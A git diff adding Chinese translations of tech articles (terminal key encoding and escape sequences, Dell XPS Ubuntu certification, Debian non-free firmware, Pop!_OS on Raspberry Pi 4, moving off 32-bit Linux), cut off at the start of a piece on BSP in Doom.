https://opensource.com/article/21/1/learn-javascript diff --git a/published/202207/20220720 What happens when you press a key in your terminal.md b/published/202207/20220720 What happens when you press a key in your terminal.md new file mode 100644 index 0000000000..777f436d96 --- /dev/null +++ b/published/202207/20220720 What happens when you press a key in your terminal.md @@ -0,0 +1,289 @@ +[#]: subject: "What happens when you press a key in your terminal?" +[#]: via: "https://jvns.ca/blog/2022/07/20/pseudoterminals/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14863-1.html" + +当你在终端上按下一个键时会发生什么? +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/25/110217dlbzqvm9lltkq244.jpg) + +我对终端Terminal是怎么回事困惑了很久。 + +但在上个星期,我使用 [xterm.js][1] 在浏览器中显示了一个交互式终端,我终于想到要问一个相当基本的问题:当你在终端中按下键盘上的一个键(比如 `Delete`,或 `Escape`,或 `a`),发送了哪些字节? + +像往常一样,我们将通过做一些实验来回答这个问题,看看会发生什么 : ) + +### 远程终端是非常古老的技术 + +首先,我想说的是,用 `xterm.js` 在浏览器中显示一个终端可能看起来像一个新事物,但它真的不是。在 70 年代,计算机很昂贵。因此,一个机构的许多员工会共用一台电脑,每个人都可以有自己的 “终端” 来连接该电脑。 + +例如,这里有一张 70 年代或 80 年代的 VT100 终端的照片。这看起来像是一台计算机(它有点大!),但它不是 —— 它只是显示实际计算机发送的任何信息。 + +[![DEC VT100终端][2]][3] + +当然,在 70 年代,他们并没有使用 Websocket 来做这个,但来回发送的信息的方式和当时差不多。 + +(照片中的终端是来自西雅图的 [活电脑博物馆][4] Living Computer Museum,我曾经去过那里,并在一个非常老的 Unix 系统上用 `ed` 编写了 FizzBuzz,所以我有可能真的用过那台机器或它的一个兄弟姐妹!我真的希望活电脑博物馆能再次开放,能玩到老式电脑是非常酷的。) + +### 发送了什么信息? + +很明显,如果你想连接到一个远程计算机(用 `ssh` 或使用 `xterm.js` 和 Websocket,或其他任何方式),那么需要在客户端和服务器之间发送一些信息。 + +具体来说: + + **客户端** 需要发送用户输入的键盘信息(如 `ls -l`)。 + **服务器** 需要告诉客户端在屏幕上显示什么。 + +让我们看看一个真正的程序,它在浏览器中运行一个远程终端,看看有哪些信息会被来回发送! + +### 我们将使用 goterm 来进行实验 + +我在 GitHub 上发现了这个叫做 [goterm][5] 的小程序,它运行一个 Go 服务器,可以让你在浏览器中使用 `xterm.js` 与终端进行交互。这个程序非常不安全,但它很简单,很适合学习。 + +我 [复刻了它][6],使它能与最新的 `xterm.js` 一起工作,因为它最后一次更新是在 6 年前。然后,我添加了一些日志语句,以打印出每次通过 WebSocket 发送/接收的字节数。 + +让我们来看看在几个不同的终端交互过程中的发送和接收情况吧! + +### 示例:ls + +首先,让我们运行 `ls`。下面是我在 `xterm.js` 终端上看到的情况: + +``` +~:/play$ ls +file +~:/play$ +``` + +以下是发送和接收的内容:(在我的代码中,我记录了每次客户端发送的字节:`sent: [bytes]`,每次它从服务器接收的字节:`recv: [bytes]`) + +``` +sent: "l" +recv: "l" +sent: "s" +recv: "s" +sent: "\r" +recv: "\r\n\x1b[?2004l\r" +recv: "file\r\n" +recv: "\x1b[~:/play$ " +``` + +我在这个输出中注意到 3 件事: + +1. 回显:客户端发送 `l`,然后立即收到一个 `l` 发送回来。我想这里的意思是,客户端真的很笨 —— 它不知道当我输入`l` 时,我想让 `l` 被回显到屏幕上。它必须由服务器进程明确地告诉它来显示它。 +2. 换行:当我按下回车键时,它发送了一个 `\r'(回车)符号,而不是 `\n'(换行)。 +3. 转义序列:`\x1b` 是 ASCII 转义字符,所以 `\x1b[?2004h` 是告诉终端显示什么或其他东西。我想这是一个颜色序列,但我不确定。我们稍后会详细讨论转义序列。 + +好了,现在我们来做一些稍微复杂的事情。 + +### 示例:Ctrl+C + +接下来,让我们看看当我们用 `Ctrl+C` 中断一个进程时会发生什么。下面是我在终端中看到的情况: + +``` +~:/play$ cat +^C +~:/play$ +``` + +而这里是客户端发送和接收的内容。 + +``` +sent: "c" +recv: "c" +sent: "a" +recv: "a" +sent: "t" +recv: "t" +sent: "\r" +recv: "\r\n\x1b[?2004l\r" +sent: "\x03" +recv: "^C" +recv: "\r\n" +recv: "\x1b[?2004h" +recv: "~:/play$ " +``` + +当我按下 `Ctrl+C` 时,客户端发送了 `\x03`。如果我查 ASCII 表,`\x03` 是 “文本结束”,这似乎很合理。我认为这真的很酷,因为我一直对 `Ctrl+C` 的工作原理有点困惑 —— 很高兴知道它只是在发送一个 `\x03` 字符。 + +我相信当我们按 `Ctrl+C` 时,`cat` 被中断的原因是服务器端的 Linux 内核收到这个 `\x03` 字符,识别出它意味着 “中断”,然后发送一个 `SIGINT` 到拥有伪终端的进程组。所以它是在内核而不是在用户空间处理的。 + +### 示例:Ctrl+D + +让我们试试完全相同的事情,只是用 `Ctrl+D`。下面是我在终端看到的情况: + +``` +~:/play$ cat +~:/play$ +``` + +而这里是发送和接收的内容: + +``` +sent: "c" +recv: "c" +sent: "a" +recv: "a" +sent: "t" +recv: "t" +sent: "\r" +recv: "\r\n\x1b[?2004l\r" +sent: "\x04" +recv: "\x1b[?2004h" +recv: "~:/play$ " +``` + +它与 `Ctrl+C` 非常相似,只是发送 `\x04` 而不是 `\x03`。很好!`\x04` 对应于 ASCII “传输结束”。 + +### Ctrl + 其它字母呢? + +接下来我开始好奇 —— 如果我发送 `Ctrl+e`,会发送什么字节? + +事实证明,这只是该字母在字母表中的编号,像这样。 + + * `Ctrl+a` => 1 + * `Ctrl+b` => 2 + * `Ctrl+c` => 3 + * `Ctrl+d` => 4 + * ... + * `Ctrl+z` => 26 + +另外,`Ctrl+Shift+b` 的作用与 `Ctrl+b` 完全相同(它写的是`0x2`)。 + +键盘上的其他键呢?下面是它们的映射情况: + + * `Tab` -> 0x9(与 `Ctrl+I` 相同,因为 I 是第 9 个字母) + * `Escape` -> `\x1b` + * `Backspace` -> `\x7f` + * `Home` -> `\x1b[H` + * `End` -> `\x1b[F` + * `Print Screen` -> `\x1b\x5b\x31\x3b\x35\x41` + * `Insert` -> `\x1b\x5b\x32\x7e` + * `Delete` -> `\x1b\x5b\x33\x7e` + * 我的 `Meta` 键完全没有作用 + +那 `Alt` 呢?根据我的实验(和一些搜索),似乎 `Alt` 和 `Escape` 在字面上是一样的,只是按 `Alt` 本身不会向终端发送任何字符,而按 `Escape` 本身会。所以: + + * `alt + d` => `\x1bd`(其他每个字母都一样) + * `alt + shift + d` => `\x1bD`(其他每个字母都一样) + * 诸如此类 + +让我们再看一个例子! + +### 示例:nano + +下面是我运行文本编辑器 `nano` 时发送和接收的内容: + +``` +recv: "\r\x1b[~:/play$ " +sent: "n" [[]byte{0x6e}] +recv: "n" +sent: "a" [[]byte{0x61}] +recv: "a" +sent: "n" [[]byte{0x6e}] +recv: "n" +sent: "o" [[]byte{0x6f}] +recv: "o" +sent: "\r" [[]byte{0xd}] +recv: "\r\n\x1b[?2004l\r" +recv: "\x1b[?2004h" +recv: "\x1b[?1049h\x1b[22;0;0t\x1b[1;16r\x1b(B\x1b[m\x1b[4l\x1b[?7h\x1b[39;49m\x1b[?1h\x1b=\x1b[?1h\x1b=\x1b[?25l" +recv: "\x1b[39;49m\x1b(B\x1b[m\x1b[H\x1b[2J" +recv: "\x1b(B\x1b[0;7m GNU nano 6.2 \x1b[44bNew Buffer \x1b[53b \x1b[1;123H\x1b(B\x1b[m\x1b[14;38H\x1b(B\x1b[0;7m[ Welcome to nano. For basic help, type Ctrl+G. ]\x1b(B\x1b[m\r\x1b[15d\x1b(B\x1b[0;7m^G\x1b(B\x1b[m Help\x1b[15;16H\x1b(B\x1b[0;7m^O\x1b(B\x1b[m Write Out \x1b(B\x1b[0;7m^W\x1b(B\x1b[m Where Is \x1b(B\x1b[0;7m^K\x1b(B\x1b[m Cut\x1b[15;61H" +``` + +你可以看到一些来自用户界面的文字,如 “GNU nano 6.2”,而这些 `\x1b[27m` 的东西是转义序列。让我们来谈谈转义序列吧! + +### ANSI 转义序列 + +上面这些 `nano` 发给客户端的 `\x1b[` 东西被称为“转义序列”或 “转义代码”。这是因为它们都是以 “转义”字符 `\x1b` 开头。它们可以改变光标的位置,使文本变成粗体或下划线,改变颜色,等等。[维基百科介绍了一些历史][7],如果你有兴趣的话可以去看看。 + +举个简单的例子:如果你在终端运行 + +``` +echo -e '\e[0;31mhi\e[0m there' +``` + +它将打印出 “hi there”,其中 “hi” 是红色的,“there” 是黑色的。[本页][8] 有一些关于颜色和格式化的转义代码的例子。 + +我认为有几个不同的转义代码标准,但我的理解是,人们在 Unix 上使用的最常见的转义代码集来自 VT100(博客文章顶部图片中的那个老终端),在过去的 40 年里没有真正改变。 + +转义代码是为什么你的终端会被搞乱的原因,如果你 `cat` 一些二进制数据到你的屏幕上 —— 通常你会不小心打印出一堆随机的转义代码,这将搞乱你的终端 —— 如果你 `cat` 足够多的二进制数据到你的终端,那里一定会有一个 `0x1b` 的字节。 + +### 可以手动输入转义序列吗? + +在前面几节中,我们谈到了 `Home` 键是如何映射到 `\x1b[H` 的。这 3 个字节是 `Escape + [ + H`(因为 `Escape` 是`\x1b`)。 + +如果我在 `xterm.js` 终端手动键入 `Escape` ,然后是 `[`,然后是 `H`,我就会出现在行的开头,与我按下 `Home` 完全一样。 + +我注意到这在我的电脑上的 Fish shell 中不起作用 —— 如果我键入 `Escape`,然后输入 `[`,它只是打印出 `[`,而不是让我继续转义序列。我问了我的朋友 Jesse,他写过 [一堆 Rust 终端代码][9],Jesse 告诉我,很多程序为转义代码实现了一个 **超时** —— 如果你在某个最小的时间内没有按下另一个键,它就会决定它实际上不再是一个转义代码了。 + +显然,这在 Fish shell 中可以用 `fish_escape_delay_ms` 来配置,所以我运行了 `set fish_escape_delay_ms 1000`,然后我就能用手输入转义代码了。工作的很好! + +### 终端编码有点奇怪 + +我想在这里暂停一下,我觉得你按下的键被映射到字节的方式是非常奇怪的。比如,如果我们今天从头开始设计按键的编码方式,我们可能不会把它设置成这样: + + * `Ctrl + a` 和 `Ctrl + Shift + a` 做的事情完全一样。 + * `Alt` 与 `Escape` 是一样的 + * 控制序列(如颜色/移动光标)使用与 `Escape` 键相同的字节,因此你需要依靠时间来确定它是一个控制序列还是用户只是想按 `Escape`。 + +但所有这些都是在 70 年代或 80 年代或什么时候设计的,然后需要永远保持不变,以便向后兼容,所以这就是我们得到的东西 :) + +### 改变窗口大小 + +在终端中,并不是所有你能做的事情都是通过来回发送字节发生的。例如,当终端被调整大小时,我们必须以不同的方式告诉 Linux 窗口大小已经改变。 + +下面是 [goterm][10] 中用来做这件事的 Go 代码的样子: + +``` +syscall.Syscall( + syscall.SYS_IOCTL, + tty.Fd(), + syscall.TIOCSWINSZ, + uintptr(unsafe.Pointer(&resizeMessage)), +) +``` + +这是在使用 `ioctl` 系统调用。我对 `ioctl` 的理解是,它是一个系统调用,用于处理其他系统调用没有涉及到的一些随机的东西,通常与 IO 有关,我猜。 + +`syscall.TIOCSWINSZ` 是一个整数常数,它告诉 `ioctl` 我们希望它在本例中做哪件事(改变终端的窗口大小)。 + +### 这也是 xterm 的工作方式。 + +在这篇文章中,我们一直在讨论远程终端,即客户端和服务器在不同的计算机上。但实际上,如果你使用像 xterm 这样的终端模拟器,所有这些工作方式都是完全一样的,只是很难注意到,因为这些字节并不是通过网络连接发送的。 + +### 文章到此结束啦 + +关于终端,肯定还有很多东西要了解(我们可以讨论更多关于颜色,或者原始与熟化模式,或者 Unicode 支持,或者 Linux 伪终端界面),但我将在这里停止,因为现在是晚上 10 点,这篇文章有点长,而且我认为我的大脑今天无法处理更多关于终端的新信息。 + +感谢 [Jesse Luehrs][11] 回答了我关于终端的十亿个问题,所有的错误都是我的 :) + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2022/07/20/pseudoterminals/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://xtermjs.org/ +[2]: https://upload.wikimedia.org/wikipedia/commons/thumb/9/99/DEC_VT100_terminal.jpg/512px-DEC_VT100_terminal.jpg +[3]: https://commons.wikimedia.org/wiki/File:DEC_VT100_terminal.jpg (Jason Scott, CC BY 2.0 , via Wikimedia Commons) +[4]: https://livingcomputers.org/ +[5]: https://github.com/freman/goterm +[6]: https://github.com/jvns/goterm +[7]: https://en.wikipedia.org/wiki/ANSI_escape_code +[8]: https://misc.flogisoft.com/bash/tip_colors_and_formatting +[9]: https://github.com/doy/vt100-rust +[10]: https://github.com/freman/goterm/blob/a644c10e180ce8af789ea3e4e4892dcf078e97e2/main.go#L110-L115 +[11]: https://github.com/doy/ diff --git a/published/202207/20220721 Dell XPS 13 Plus -Developer Edition- Gets Certified for Ubuntu 22.04 LTS.md b/published/202207/20220721 Dell XPS 13 Plus -Developer Edition- Gets Certified for Ubuntu 22.04 LTS.md new file mode 100644 index 0000000000..1917a11a33 --- /dev/null +++ b/published/202207/20220721 Dell XPS 13 Plus -Developer Edition- Gets Certified for Ubuntu 22.04 LTS.md @@ -0,0 +1,76 @@ +[#]: subject: "Dell XPS 13 Plus (Developer Edition) Gets Certified for Ubuntu 22.04 LTS" +[#]: via: "https://news.itsfoss.com/dell-xps-13-plus-dev-ubuntu-certified/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14852-1.html" + +戴尔 XPS 13 Plus 开发者版获得 Ubuntu 22.04 LTS 认证 +====== + +> 戴尔的 XPS 13 Plus 开发者版可能是第一款为 Ubuntu 22.04 LTS 认证的笔记本电脑。 + +![xps 13 dev][1] + +戴尔 XPS 是一个适合专业人士和商业用户的高端笔记本电脑系列。 + +而且它也是运行 Linux 的最受欢迎的笔记本电脑之一。如果你一直想得到一台为最新的 Ubuntu 量身定做的戴尔 XPS 笔记本电脑,那么 **戴尔 XPS 13 Plus 开发者版** 就是为你准备的。 + +13 英寸 XPS 笔记本电脑的开发者版现在已经通过认证,可以使用 Ubuntu 22.04 LTS 完美工作。 + +这些经过认证的设备都经过了测试,以获得最佳体验,确保每台笔记本电脑的功能都能按预期工作。 + +换句话说,你可以找到预装 [Ubuntu 22.04 LTS][2] 的优质笔记本电脑,不必担心其开箱即用的体验。而且,如果你已经有一台 XPS 13 Plus 笔记本电脑,你也可以手动安装 Ubuntu 22.04 来获得同样的优化体验。 + +这款笔记本应该是 [TUXEDO Pulse 15][3] 和 [HP Dev One][4] 的绝佳替代品。 + +### 戴尔的高级笔记本电脑拥有顺滑的 Ubuntu 体验 + +虽然我们可以在任何笔记本电脑上安装 Linux 发行版,但可能并不总是一种方便的体验。 + +从 Wi-Fi 兼容性问题到指纹认证,任何事情都可能出错。除非一个设备与一个操作系统正式兼容,否则你只能带着失败的几率去尝试。 + +然而,戴尔在 Ubuntu 领域是非常有名的,它提供的笔记本电脑在 Ubuntu 的最新版本中完全可以正常工作。戴尔的 XPS 13 Plus 开发者版运行的是经 Canonical 认证的最新推出的 Ubuntu 22.04 LTS。 + +你可以查看我们的 [Ubuntu 22.04 LTS 特色][5] 文章,探索你可以从它那里得到什么。 + +戴尔的产品经理就他们与 Canonical 的长期合作分享了一些见解。 + +> “XPS 是戴尔的创新门户 —— 从对尖端技术的应用,到新用户界面和体验式设计的实验。”戴尔技术公司的 Linux 操作系统产品经理 Jaewook Woo 说:“通过将 Ubuntu 22.04 LTS 的增强性能和电源管理功能引入我们最先进的高端笔记本电脑,戴尔和 Canonical 加强了我们的共同承诺,即继续为使用 Ubuntu 的开发者提供最佳的计算体验。” + +![][6] + +戴尔 XPS 13 Plus 开发者版提供了令人兴奋的规格,包括: + +* 四扬声器设计 +* 高达 4K+ 分辨率的 OLED 显示屏 +* M.2 PCIe Gen 4 NVMe SSD +* 高达 32GB、LPDDR5 5200MHz 内存 + +这款笔记本电脑将于 2022 年 8 月在美国、加拿大和部分欧洲国家预装 Ubuntu 22.04 LTS 发售。如果你想买一台,你可能想关注一下 [戴尔的 XPS 13 Plus 产品页面][7]。 + +> **[Dell XPS 13 Plus][8]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/dell-xps-13-plus-dev-ubuntu-certified/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/dell-xps-13-dev-edition-with-ubuntu-22-04.jpg +[2]: https://news.itsfoss.com/ubuntu-22-04-release/ +[3]: https://news.itsfoss.com/tuxedo-pulse-gen-2/ +[4]: https://news.itsfoss.com/hp-dev-one-system76/ +[5]: https://itsfoss.com/ubuntu-22-04-release-features/ +[6]: https://news.itsfoss.com/wp-content/uploads/2022/07/dell-xps-13-plus-dev-1.jpg +[7]: https://www.dell.com/en-us/shop/dell-laptops/xps-13-plus-laptop/spd/xps-13-9320-laptop +[8]: https://www.dell.com/en-us/shop/dell-laptops/xps-13-plus-laptop/spd/xps-13-9320-laptop diff --git a/published/202207/20220726 Debian May Consider Including Non-Free Firmware in Official Releases.md b/published/202207/20220726 Debian May Consider Including Non-Free Firmware in Official Releases.md new file mode 100644 index 0000000000..ac911d46d4 --- /dev/null +++ b/published/202207/20220726 Debian May Consider Including Non-Free Firmware in Official Releases.md @@ -0,0 +1,71 @@ +[#]: subject: "Debian May Consider Including Non-Free Firmware in Official Releases" +[#]: via: "https://news.itsfoss.com/debian-non-free/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14873-1.html" + +Debian 可能会考虑在官方版本中包含非自由固件 +====== + +> Debian 会考虑在官方版本中添加非自由固件吗?如果他们想解决 Debian 开发人员重点提出的问题,这似乎是一种可能性。 + +![debian][1] + +由于 Debian 的稳定性和新功能之间的平衡,它是最受欢迎的 Linux 发行版之一。 + +此外,它不附带任何非自由固件。 + +但是,对于想要在较新硬件上使用 Debian 的用户来说,这已成为一个问题。 + +大多数最新的设备和配置都需要非自由固件才能正常工作,其中包括 Wi-Fi、图形等。 + +为了解决这个问题,Debian 开发人员、前 Debian 项目负责人 Steve McIntyre 已经积极讨论了一段时间。 + +正如 [Geeker's Digest][2] 所发现的,在 DebConf 22 会议上,Steve 最近向用户和开发人员着重谈到了修复固件混乱这件事。 + +### 在官方版本中包含非自由固件 + +至于目前的情况,你可以找到带有非自由固件的非官方 Debian 镜像。 + +然而,并不是每个用户都知道它,即使它在 Debian 的下载页面上被宣传,“非官方”也不是用户更喜欢推荐的镜像的东西。 + +此外,当用户可以选择 Ubuntu 或任何基于 Ubuntu 的发行版作为替代方案时,期望用户安装非自由固件也是违反直觉的。 + +不仅限于这些问题,Steve 在他的 [博客][3] 中还提到了其他一些问题,包括: + +* 维护单独的非自由镜像非常耗时。 +* 由于缺乏非自由固件,许多用户不喜欢官方镜像。 + +如果我们希望更多用户在通用硬件上使用 Debian,Steve 建议尽早解决这个问题。 + +可能会通过安装程序中的提示让用户安装非自由固件,类似于 Ubuntu 所做的。 + +此外,在他在 DebConf 22 的演讲中,似乎大多数开发人员投票支持在官方 Debian 镜像中添加非自由固件。 + +随着他重点提出这件事,Steve 得到了寻找解决这个问题的社区用户/开发人员的更多关注。 + +**简单/方便的出路**:在官方发布的镜像中添加非自由固件。 + +那么,Debian 最终会在其新版本中添加对非自由固件的支持吗? Debian 12 会让这成为现实吗? + +在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/debian-non-free/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/debian-non-free-firmware.jpg +[2]: https://www.geekersdigest.com/debian-on-the-verge-to-include-non-free-firmware-in-official-releases/ +[3]: https://blog.einval.com/2022/04/19#firmware-what-do-we-do diff --git a/published/202207/20220727 Pop!_OS 22.04 Linux Distro is Finally Adding Raspberry Pi 4 Support.md b/published/202207/20220727 Pop!_OS 22.04 Linux Distro is Finally Adding Raspberry Pi 4 Support.md new file mode 100644 index 0000000000..ac4bd0efb9 --- /dev/null +++ b/published/202207/20220727 Pop!_OS 22.04 Linux Distro is Finally Adding Raspberry Pi 4 Support.md @@ -0,0 +1,70 @@ +[#]: subject: "Pop!_OS 22.04 Linux Distro is Finally Adding Raspberry Pi 4 Support" +[#]: via: "https://news.itsfoss.com/pop-os-22-04-raspberry-pi-4/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14880-1.html" + +Pop!_OS 22.04 Linux 发行版现在支持树莓派 4 了 +====== + +> System76 终于为其最新的 Pop!_OS 22.04 LTS 增加了对树莓派 4 的支持。 + +![Pop os][1] + +Pop!_OS 是 [最好的初学者友好的 Linux 发行版][2] 之一。 + +它基于 Ubuntu,显然,Pop!_OS 22.04 LTS 是基于 [Ubuntu 22.04 LTS][3] 的。 + +然而,与 Ubuntu 不同,Pop!_OS 22.04 在发布时并没有正式支持树莓派。 + +因此,期待 [Pop!_OS 22.04 LTS][4] 版本对树莓派的支持是合理的。 + +如果你还记得,System76 在 **Pop!_OS 21.10** 中首次增加了对树莓派的支持。我们在测试时也 [报道过][5]。 + +而且,据 System76 的首席工程师 Jeremy Soller 透露, System76 最新的 Pop!_OS 版本现在正准备支持树莓派 4。 + +### Pop!_OS 22.04 LTS for Raspberry Pi 4 + +如果你一直在你的树莓派 4 上使用 Pop!_OS 21.10,这对你来说是个好消息。 + +而且,对于任何想在树莓派 4 上尝试 Pop!_OS 的人来说,它终于有了一个 LTS 版本。 + +截至目前,该 ISO 是作为技术预览版提供的。因此,如果你想试试它,你应该有出现错误和可用性问题的心理预期。请注意,目前还 **只限于树莓派 4**,不支持其他树莓派设备,这是个遗憾。 + +我们不知道 System76 是否计划在这个 LTS 版本中支持其他树莓派板,或者他们是否坚持只支持树莓派 4。 + +然而,考虑到树莓派 4 现在相当流行,对于许多寻求替代 Ubuntu 的 [树莓派的替代操作系统][6] 的爱好者们来说,这应该是一个很好的进展。 + +有了 Pop!_OS 22.04 LTS,树莓派 4 的用户应该能够体验到一些最令人兴奋的升级,以及更新的 [Linux 内核 5.15 LTS][7]。 + +要下载该技术预览版,请前往 Pop!_OS 的 [官方网站][8],点击下载按钮,找到该选项。 + +![Pop OS][9] + +你对树莓派 4 上的 Pop!_OS 22.04 有什么期望?请在下面的评论中告诉我们你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/pop-os-22-04-raspberry-pi-4/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/07/pop-os-raspberry-pi-4.jpg +[2]: https://itsfoss.com/best-linux-beginners/ +[3]: https://news.itsfoss.com/ubuntu-22-04-release/ +[4]: https://news.itsfoss.com/pop-os-22-04-release/ +[5]: https://news.itsfoss.com/pop-os-raspberry-pi-coming-soon/ +[6]: https://itsfoss.com/raspberry-pi-os/ +[7]: https://news.itsfoss.com/linux-kernel-5-15-release/ +[8]: https://pop.system76.com/ +[9]: https://news.itsfoss.com/wp-content/uploads/2022/07/pop-os-raspberry-pi-4-download-1024x526.png diff --git a/published/202207/20220728 It-s Time to Ditch 32-Bit Linux for 64-Bit.md b/published/202207/20220728 It-s Time to Ditch 32-Bit Linux for 64-Bit.md new file mode 100644 index 0000000000..594a70e68d --- /dev/null +++ b/published/202207/20220728 It-s Time to Ditch 32-Bit Linux for 64-Bit.md @@ -0,0 +1,86 @@ +[#]: subject: "It’s Time to Ditch 32-Bit Linux for 64-Bit" +[#]: via: "https://news.itsfoss.com/64-bit-linux/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14876-1.html" + +是时候抛弃 32 位的 Linux,改用 64 位的了 +====== + +> 如果你想获得安全的体验,你可能不会再继续使用 32 位 Linux 内核。 + +![](https://news.itsfoss.com/wp-content/uploads/2022/07/linux-64-bit.jpg) + +我们有很多 [为 32 位系统定制的 Linux 发行版][1]。 + +那么,为什么我想要不鼓励使用 32 位,而升级到 64 位 Linux 呢? + +有几个原因,其中一个最大的原因,在本周引发了很多关注。 + +### 32 位:古老的电子垃圾硬件? + +没错,与其他操作系统不同的是,Linux 发行版允许你重新利用旧硬件。 + +你能够将一个老机器转换为 [媒体服务器][2]、存储服务器,等等。 + +在这里,我并不是要给你一些如何贡献更多的电子垃圾的思路。尽可能长地利用你的硬件,而不更换它们总是好的。 + +然而,不使用 32 位系统的理由可能比以往更有说服力。关键的问题是在安全和维护方面。 + +### 利用 64 位 Linux 提高安全性 + +2018 年,危险的处理器安全问题 Spectre 漏洞引发了热议。虽然英特尔和 AMD 对这个漏洞进行了修复,但情况并不乐观。 + +不幸的是,一个新的漏洞 Retbleed,它是 Spectre 的一个变种,正在影响英特尔和 AMD 芯片。 + +你可以在下面由发现它的研究人员分享的视频中看到它的情况。 + +![][3] + +因此,我们自然需要适当的措施来解决这个新的安全漏洞的修复问题。 + +**令人震惊的事情来了**。64 位 Linux 内核已经收到了对它的修复,以保护有关的英特尔/AMD 的处理器。但是,正如 [Phoronix][4] 所报道的,Linux 32 位内核仍然容易受到 Retbleed 漏洞的影响。 + +英特尔的 Pawan Gupta 在 [内核邮件列表][5] 中回应了这些担忧,他提到: + +> 英特尔不知道还有谁在 Skylake 那一代的 CPU 上使用 32 位模式的生产环境。所以这不应该是一个问题。 + +另外,很少看到为 32 位维护所做的任何努力。所以,这应该不算什么意外。 + +因此,如果你使用你的系统进行任何可能受到安全问题影响的任务,你应该避开 32 位内核。 + +当然,如果你有一个完全离线的环境可以算做例外。所以,你可以这样做,但不建议这样做。 + +### 不关心安全问题? + +即使你认为得不到像 Retbleed 这样的关键安全修复没有关系,2022 年的 32 位系统也会有更多的麻烦。 + +软件维护者们最终会放弃对 32 位系统上的工具和 Linux 发行版的更新。 + +因此,你的 32 位 Linux 系统可能很快就不会再有积极维护的程序了。 + +因此,现在进行转换(和升级)将是一个好主意。 + +_你还在使用 32 位的 Linux 吗?你对此有什么看法?在下面的评论中分享你的想法。_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/64-bit-linux/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/32-bit-linux-distributions/ +[2]: https://itsfoss.com/best-linux-media-server/ +[3]: https://i.ytimg.com/vi/dmSPvJxPm80/hqdefault.jpg +[4]: https://www.phoronix.com/news/Linux-x86-Retbleed +[5]: https://lore.kernel.org/lkml/20220715221901.xm3c4w4idqt67uja@desk/ diff --git a/published/202208/20191106 How Much of a Genius-Level Move Was Using Binary Space Partitioning in Doom.md b/published/202208/20191106 How Much of a Genius-Level Move Was Using Binary Space Partitioning in Doom.md new file mode 100644 index 0000000000..1e54c32d96 --- /dev/null +++ b/published/202208/20191106 How Much of a Genius-Level Move Was Using Binary Space Partitioning in Doom.md @@ -0,0 +1,166 @@ +[#]: subject: "How Much of a Genius-Level Move Was Using Binary Space Partitioning in Doom?" +[#]: via: "https://twobithistory.org/2019/11/06/doom-bsp.html" +[#]: author: "Two-Bit History https://twobithistory.org" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14945-1.html" + +在《毁灭战士》中应用二叉空间分割(BSP)是何等天才之举? +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/19/161257n99vkniexsjdehvh.jpg) + +1993 年,游戏开发公司 id Software 发行了一款第一人称射击游戏 《毁灭战士DOOM》,游戏一经发行迅速爆火。在今天看来,《毁灭战士》可谓有史以来最具影响力的游戏之一。 + +《毁灭战士》发行之后的第十年(2003 年),记者 大卫·库什纳David Kushner 出版了一本关于 id Software 的书,书名为《Doom 启示录Masters of Doom》,后被奉为记录毁灭战士创作史的典范读物。几年前我曾读过这本书,如今内容已记得不太真切了,但是书中有一个关于 id Software 首席程序员 约翰·卡马克John Carmack 